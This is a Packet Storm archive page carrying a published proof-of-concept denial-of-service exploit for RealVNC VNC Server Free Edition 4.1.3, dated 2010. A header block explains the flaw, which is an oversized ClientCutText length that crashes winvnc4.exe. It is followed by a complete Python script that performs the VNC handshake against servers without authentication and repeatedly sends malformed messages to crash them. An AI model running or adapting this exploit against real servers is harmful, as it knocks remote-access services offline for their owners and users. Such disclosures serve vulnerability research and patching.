exploit the possibilities

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service
Posted May 4, 2010
Authored by AutoSec Tools

RealVNC VNC Server Free Edition version 4.1.3 remote denial of service exploit.

tags | exploit, remote, denial of service
MD5 | 3f8b7c6e11ae7a344f49cb7f119cad2b

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service

Change Mirror Download
#==================================================================================================#
# #
# $$$$$$$\ $$\ $$\ $$\ $$$$$$\ #
# $$ __$$\ \__| $$ | $$ | $$ __$$\ #
# $$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$ | $$ / $$ | #
# $$$$$$$\ |$$ |$$ _____|$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ | $$$$$$$$ | #
# $$ __$$\ $$ |\$$$$$$\ $$ / $$ |$$ | $$ |$$$$$$$$ |$$ | $$ |$$ / $$ |$$ | $$ __$$ | #
# $$ | $$ |$$ | \____$$\ $$ | $$ |$$ | $$ |$$ ____|$$ | $$ |$$ | $$ |$$ | $$ | $$ | #
# $$$$$$$ |$$ |$$$$$$$ |$$$$$$$ |$$ | $$ |\$$$$$$$\ $$ | $$ |\$$$$$$ |$$ | $$ | $$ | #
# \_______/ \__|\_______/ $$ ____/ \__| \__| \_______|\__| \__| \______/ \__| \__| \__| #
# $$ | #
# $$ | Plastics Make It Possible #
# \__| #
# #
#==================================================================================================#
# #
# Vulnerability............Denial-of-Service #
# Software.................RealVNC VNC Server Free Edition 4.1.3 #
# Download.................http://www.realvnc.com/products/free/4.1/download.html #
# Date.....................5/2/10 #
# #
#==================================================================================================#
# #
# Site.....................http://cross-site-scripting.blogspot.com/ #
# Email....................john.leitch5@gmail.com #
# #
#==================================================================================================#
# #
# ##Description## #
# #
# Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the #
# exception shown below. Note: while the vulnerability is present regardless of authentication, #
# for the sake of simplicity this script only works on servers configured to run with no #
# authentication. #
# #
# winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not #
# be written (0x00425BE4 -> FFFFFF00) #
# #
# #
# ##Proof of Concept## #
import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1.0)

print 'Connected'

try:
b = s.recv(8192)
print 'ProtocolVersion Received'

s.send(b)
print 'ProtocolVersion Sent'

b = s.recv(8192)
print 'Security Received'

s.send('\x01')
print 'Security Sent'

# Recv SecurityResult
b = s.recv(8192)
print 'SecurityResult Received'

if (len(b) == 4 and
b[0] == chr(0) and
b[1] == chr(0) and
b[2] == chr(0) and
b[3] == chr(0)):
print 'SecurityResult OK'
else:
print 'SecurityResult Failed.\n\nThe server must be set '\
'to No Authentication for this to work, otherwise '\
'you \'ll need to write the necessary client side '\
'authentication code yourself.'
return

s.send('\x01')
print 'ClientInit Sent'

b = s.recv(8192)
print 'ServerInit Received'

text_len = 0xFFFFFF
text_str = struct.pack('L', text_len) + '\xAA' * text_len

while 1:
s.send('\x06\x00\x00\x00' + text_str)

print 'ClientCutText Sent'

except Exception:
print 'Connection closed'

except Exception:
print 'Couldn\'t connect'

crash_vnc_server()
Login or Register to add favorites

File Archive:

November 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    19 Files
  • 2
    Nov 2nd
    25 Files
  • 3
    Nov 3rd
    8 Files
  • 4
    Nov 4th
    7 Files
  • 5
    Nov 5th
    24 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    106 Files
  • 11
    Nov 11th
    19 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    12 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    12 Files
  • 19
    Nov 19th
    4 Files
  • 20
    Nov 20th
    2 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    14 Files
  • 24
    Nov 24th
    19 Files
  • 25
    Nov 25th
    4 Files
  • 26
    Nov 26th
    1 Files
  • 27
    Nov 27th
    4 Files
  • 28
    Nov 28th
    1 Files
  • 29
    Nov 29th
    11 Files
  • 30
    Nov 30th
    7 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close